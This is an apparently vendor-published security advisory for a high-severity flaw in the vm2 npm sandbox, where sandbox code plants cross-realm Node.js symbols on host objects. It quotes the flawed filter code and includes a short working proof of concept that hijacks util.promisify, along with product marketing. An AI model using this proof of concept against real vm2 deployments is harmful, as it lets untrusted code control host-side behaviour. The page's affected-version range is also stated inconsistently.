CVE-2026-47135

CVE-2026-47135 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.

Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior, verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

  • nodejs.util.promisify.custom
  • nodejs.stream.readable
  • nodejs.stream.writable
  • nodejs.stream.duplex
  • nodejs.stream.transform
  • nodejs.webstream.isClosedPromise
  • nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection, missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

  • Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
  • Object.assign propagates unblocked symbols from sandbox source to host target
  • Object.defineProperty with unblocked symbol key succeeds on host objects
  • delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Affected Versions

  • vm2 <= 3.11.2 (all 3.x versions)

Environment

  • Node.js v24.14.0
  • macOS (Darwin 25.4.0)

Impact

  • Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
  • Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
  • Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE, the bridge still wraps sandbox functions crossing the boundary, but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

CVE-2026-47135 has a CVSS score of 8.7 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.4); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.11.3)

Security releases

vm2 → 3.11.4 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade vm2 to 3.11.4 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-47135? CVE-2026-47135 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.3. It is fixed in 3.11.4.
  2. How severe is CVE-2026-47135? CVE-2026-47135 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-47135? vm2 (npm) versions <= 3.11.3 is affected.
  4. Is there a fix for CVE-2026-47135? Yes. CVE-2026-47135 is fixed in 3.11.4. Upgrade to this version or later.
  5. Is CVE-2026-47135 exploitable, and should I be worried? Whether CVE-2026-47135 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-47135 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-47135? Upgrade vm2 to 3.11.4 or later.

Other vulnerabilities in vm2

CVE-2026-47141CVE-2026-47139CVE-2026-47140CVE-2026-47210CVE-2026-47137

Stop the waste.
Protect your environment with Kodem.